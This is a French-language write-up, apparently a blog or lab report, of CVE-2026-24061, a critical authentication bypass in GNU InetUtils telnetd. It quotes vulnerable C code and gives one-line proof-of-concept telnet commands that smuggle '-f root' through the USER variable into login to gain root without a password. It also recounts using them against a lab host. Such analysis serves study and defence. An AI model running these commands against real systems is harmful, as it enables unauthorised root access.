
GNU-InetUtils-telnetd-Authentication-Bypass-Vulnerability
CVE-2026–24061 est une faille critique dans le service telnetd de GNU InetUtils
Identifiant CVE : CVE-2026–24061
Sévérité : Critique (CVSS 9.8)
Vecteur d'attaque : Réseau
Authentification requise : Aucune
Impact : Compromission totale du système (accès root)
La vulnérabilité provient d'une gestion inappropriée de la variable d'environnement USER lors de la configuration de la session Telnet. Cette valeur est directement transmise dans la liste d'arguments de /usr/bin/login sans aucun assainissement ni validation. Par conséquent, un attaquant distant peut manipuler cette entrée pour injecter des options de ligne de commande, contournant ainsi efficacement l'authentification et obtenant instantanément un shell root
L'extrait suivant de telnetd/utility_file.c montre comment les valeurs fournies par l'utilisateur étaient directement utilisées sans validation :
case 'h':
return xstrdup (remote_hostname);
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
Problème :
Les valeurs contrôlées par l'utilisateur USER, terminaltype et line sont utilisées sans validation. Elles sont copiées directement dans les structures internes
Étant donné que ces valeurs peuvent être influencées par un client distant via le protocole Telnet, cela crée un point d'injection critique
Déroulement de l'attaque :
Preuve de concept
Une preuve de concept minimale démontre comment exploiter la vulnérabilité :
USER='-f root' telnet -a <ipaddr>
telnet -l -'f root' ip_addr
Cette commande injecte une valeur USER malveillante lors de la négociation Telnet, ce qui peut entraîner un accès root non autorisé sur les systèmes vulnérables
J'ai réalisé un laboratoire impliquant CVE-2026–24061, au cours duquel j'ai exploité la vulnérabilité en utilisant telnet -l '-f root' 176.16.2.153 pour injecter des arguments malveillants et contourner l'authentification, obtenant finalement un accès de niveau root sur le système cible

Ce qui se passe en interne :
1 - l : fait référence au nom de connexion
2 - '-f root' : valeur transmise comme nom d'utilisateur (-f : aucune vérification du mot de passe - sauter l'authentification), (root : utilisateur cible))
3 - Le serveur vulnérable n'effectue aucun assainissement
4 - Il interprète -f comme une option au lieu d'une partie du nom d'utilisateur
Cela m'a permis d'injecter des arguments malveillants, de contourner l'authentification et d'obtenir un accès de niveau root sur le système cible
Résumé technique
La faille réside dans la manière dont telnetd gère l'option Telnet NEW_ENVIRON. Elle permet à un client de définir des variables d'environnement qui sont transmises au binaire /usr/bin/login du système. Comme telnetd n'assainit pas la variable USER, un attaquant peut injecter l'option -f (connexion forcée), ce qui indique à l'utilitaire login de sauter la vérification du mot de passe et d'accorder immédiatement une session à l'utilisateur spécifié (généralement root)